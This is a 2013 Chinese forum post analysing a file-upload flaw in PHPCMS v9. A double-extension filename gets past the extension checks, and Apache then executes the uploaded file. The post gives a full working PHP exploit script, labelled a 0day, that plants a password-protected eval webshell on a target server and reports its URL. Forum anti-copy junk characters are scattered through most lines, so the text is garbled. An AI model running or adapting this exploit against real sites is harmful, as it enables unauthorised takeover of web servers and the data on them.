找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2306|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
9 |" y' B& y8 W8 V' ^9 o- Q5 o8 {+ s6 f; \' {: y
简要描述:: R4 c2 M4 \' c$ g* x

# a/ T# d, N7 {" H: ~phpcms v9 getshell (apache)
* M* ~, U# C( r6 E5 z详细说明:
: _$ }, J; c# H+ k+ |. ?
2 G: u( C' D" R2 u# h9 d0 @漏洞文件:phpcms\modules\attachment\attachments.php& n5 p9 ]% e" O$ u, H7 \4 ]" S" P

, E6 L! M6 C  H) o! [public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
# ^3 z% f/ p% h后缀检测:phpcms\modules\attachment\functions\global.func.php
3 W& t9 Q4 U; t( [. `. {; \
# {$ g2 T" V$ C. `. @0 V
5 j: l+ t6 g5 r' `! P  Q* Z) f; Z' R1 s# ]3 L1 \1 l
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  8 z" {/ B1 K' K

- t4 I; i; `6 A6 }) j- f: V关键函数:0 Y) ?* b( i) I; `6 R0 y
! [& G8 i6 J& f2 d

" q# y- e8 p, G  [1 X4 }8 u, r* U; X4 J$ A
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
' C( X! X+ b1 F/ P' W" S) y+ u  F* o8 |# |1 R
  Fileext函数是对文件后缀名的提取。
. S6 _: m2 B7 d2 p  G根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php' o' f% s' i/ n! @4 v* t
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。( e" s# x" o  t1 y8 R- v# d
我们回到public function crop_upload() 函数中
( ~) }1 }: f' Dif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
# }  W- z0 f, R& ?. V% ^$ m在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
) o; n7 D( U; y  ~3 C0 W这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。& }6 P$ e5 w7 ]# g7 Y
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。8 F0 r' K! @3 }: m# k
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。. |9 K- b6 ~/ n, v3 y* @
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
7 h7 |  U/ a- _; B漏洞证明:
" e+ D, R% S, i* S3 m. h- a
+ m3 V) c9 b: a4 U5 t' iexp:2 q) v3 a) g, Q5 F0 C4 T
% x9 {" \1 c0 m- B- k* S
<?php5 j$ r/ g" A6 f8 N* t$ ^1 C
error_reporting(E_ERROR);5 M+ o, J* _1 J  k6 k! q) ?, m0 ?* g/ \
set_time_limit(0);: {  ~; R9 O$ ?
$pass="ln";
/ Z% d$ f! C9 S  T6 qprint_r('2 F9 Q/ W9 l5 I
+---------------------------------------------------------------------------+; }1 N% Z) w# {! T, X
PHPCms V9 GETSHELL 0DAY
/ T# g1 c* |9 e1 vcode by L.N.
! t$ ?& W% a6 Z& P& x2 L8 d
/ \. x% l1 o) U. [- ]8 U+ vapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net4 h! [9 ~2 t* }/ u
+---------------------------------------------------------------------------+
2 n2 W6 ^, T5 }- X# l! F) G  t');
! m3 m; H/ l6 P8 Wif ($argc < 2) {2 A# z! s$ D4 A7 w
print_r('
" K3 P$ Z- g: c# g; q" A0 e8 I+---------------------------------------------------------------------------+  ?+ }) R) i7 |8 W
Usage: php '.$argv[0].' url path
, z5 Z2 B# ?$ R4 r2 H% w- E. a6 W) l: j6 C+ o
Example:
' C+ s: v; }& z* @6 f1.php '.$argv[0].' lanu.sinaapp.com$ ?& m% a2 y8 E
2.php '.$argv[0].' lanu.sinaapp.com /phpcms9 ^! ^5 G! k$ s1 R) b0 \2 i
+---------------------------------------------------------------------------+
/ l; A( O0 Z5 n) N( Y5 K, x');
( n; N0 V7 t0 S- H. ?# H& \7 Vexit;% C. i9 Z2 b0 u; N
}
- p' v+ _2 G& Z6 {
. D' A/ M1 w& c$ o4 K) W  c$url = $argv[1];
$ m1 m! m& e3 O4 y$ u* @: j$path = $argv[2];9 _3 N& S# m2 n! D
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';2 e& m5 r, e8 c) U+ j# z3 }% j
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
0 Z1 g/ j! I2 S; U" E6 j0 Wif($ret=Create_dir($url,$path))
1 W9 {9 F: d# i# Q. T: X/ x. }{& `) e4 n9 Y" g. A% c' \/ V& V
//echo $ret;
2 S* }3 `, w- \- M6 [+ i0 t$pattern = "|Server:[^,]+?|U";
  l+ S0 o( a1 Opreg_match_all($pattern, $ret, $matches);
; c1 m" H1 J) n! _- F/ e8 tif($matches[0][0])
6 L7 i0 T9 i8 b{
  w) b# t6 O/ ^# A2 k8 iif(strpos($matches[0][0],'Apache') == false)
# S' G9 X$ j# N% c% M! e# w, e: F{
6 n% Q; x8 R- X. }echo "\n亲!此网站不是apache的网站。\n";exit;3 k6 e+ _9 |# o
}# z: z( \- L; d* u2 a8 p' r. O% N
}9 G* J, |- q* g7 ?1 u9 \
$ret = GetShell($url,$phpshell,$path,$file);4 z/ L4 N& _, n0 W: G* G
$pattern = "|http:\/\/[^,]+?\.,?|U";
* `+ N, q& X. B) p3 Lpreg_match_all($pattern, $ret, $matches);/ n/ O- e+ [  G2 M4 J; h7 W
if($matches[0][0])
$ a  f9 N( _' n4 S  Z{
2 @3 L) v9 @' \% Q  x3 j$ Cecho "\n".'密码为: '.$pass."\n";8 X0 k7 ~( M; U5 k: Z( M
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
/ V# X' ?& \1 a' U4 x2 G  q}
; Y  b7 O+ P8 |/ S7 jelse' W8 Z" ~; l; _9 t
{
) h3 E) S6 y3 s4 d; }$ w$pattern = "|\/uploadfile\/[^,]+?\.,?|U";7 M! j2 p( K' O) `* a0 h  L
preg_match_all($pattern, $ret, $matches);% i5 \1 f: K6 a% m  J
if($matches[0][0]); T( L. e6 A+ q) b
{, D6 A" Q7 }9 v/ E; n% Q0 y
echo "\n".'密码为: '.$pass."\n";
$ p) ~& X  h4 Q8 l' J- ?echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;" A- \* T" Z( O$ t9 O+ }" y
}
. |- l1 V" c, V* d; m8 D$ Belse
: X4 G$ H: A8 e" {{* Z7 L: N, Q' [0 c1 u, O: Q
echo "\r\n没得到!\n";exit;
0 i5 _$ Z- d2 C}
, M* C) o* X& M) i' m$ f}
- Z, O9 c1 F/ Q; n8 N( o}
0 E) x6 I, m% \; e  U
/ w( |4 B! s2 E6 Rfunction GetShell($url,$shell,$path,$js)" ^. D1 \" \- d, B6 a6 Q8 i1 S
{
+ g" c- Z4 s) k# H1 W$ h3 C$content =$shell;& {/ [/ A$ F; x4 z5 H1 V* R- n6 p
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";7 @7 ?  E; [& H; \
$data .= "Host: ".$url."\r\n";- Y! T- i! p' l3 H3 O( i" i
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 M8 d4 r4 l( {$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
- w% F( a, z3 f( m) Z+ M) a/ Y$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";7 L. }! {3 R- _% z* U- b
$data .= "Connection: close\r\n";
0 `. a$ N- A" M$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
6 T3 Z# e/ N- S; W0 T$data .= $content."\r\n";9 d- S3 I' W" C  k+ n$ F
$ock=fsockopen($url,80);
# ]2 a* Z9 V; V9 a# P% M2 U% Lif (!$ock)
( N+ _4 q9 s% ~" F, E. x, S! t{+ {/ z  K4 x6 m9 }
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 s3 b, X9 ^) G
}) _) b+ q( o+ m9 \8 n; ]3 K- _
else9 N- |' N9 u, G5 K# E
{
9 v, |, _, G. k9 @1 F: tfwrite($ock,$data);
+ \# x% B% _; `$ z5 ~$resp = '';
; x; y4 x# W$ C* V6 D2 ~8 t1 |while (!feof($ock))/ @4 n) o' X" D: \# u+ F' e
{
% @; t+ K/ X- U0 {9 |2 _2 d$resp.=fread($ock, 1024);* [, }6 S" P" f0 @& k
}
) |7 ?; r6 F4 z0 h. ~$ lreturn $resp;0 G  C2 V& f" b# {
}
1 F. J9 N8 t6 d) D$ }- S0 Z: t}
) R( @, D& {& V3 b$ q2 C( X* y- Z$ V( c1 z6 |
function Create_dir($url,$path='')0 F7 s( _, x5 p( [4 a2 Q6 `
{
" |0 C' ?# y3 x* h8 F2 I% x$content ='I love you';
+ t$ f$ B/ M7 k# f2 {) h7 p$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";% p5 {! n1 W: \( X; [* c2 d! ~, W
$data .= "Host: ".$url."\r\n";- S+ V- a% t3 |8 `  U# M7 C
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";. j2 I* \3 R; o% k) N+ h; ^' F
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( V1 J* u) P- ?8 m0 H0 B$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
9 `9 B2 U" u3 {' \6 o$data .= "Connection: close\r\n";
1 l4 j) A' d) S$ R4 ]- b* h0 `. P6 A$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
& J# U" K0 T4 F; o$data .= $content."\r\n";% W: k' ?" d" w' U6 Y  ]2 d5 |
$ock=fsockopen($url,80);
4 p4 B  [% o4 `; T" b( g2 vif (!$ock)& c6 r8 s2 a7 @; R
{
+ a/ v5 E- v( @1 Gecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
% e! A& I8 t- a$ {9 Q7 U}
  t- _* h7 A/ Y# ^. d: Q' o% sfwrite($ock,$data);
9 i$ L3 l% d3 \/ {$resp = '';
" J) V. i6 {/ r/ G' d" S' n" H; Pwhile (!feof($ock))
0 P+ k" h: K, G; \{3 C3 c' C  |) u: e7 G% Y# s9 G  |
$resp.=fread($ock, 1024);. K  E7 s2 W. c
}
( P3 g, z! W2 v( X$ `5 w* @+ h" Hreturn $resp;
$ x( Q8 R" \- _: |0 D}
8 j  u9 Z5 c) ~& v! |) p?> ( ?) ^8 q3 T- e% b8 O

) D4 X/ y. A6 C  w7 A修复方案:
& p/ S. f/ K' H  r7 b3 K" E2 r# D: ?1 v0 I& h. t
过滤过滤再过滤- y/ C7 s2 {, Q

, S. A/ U3 ^( I" L" ]: `4 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表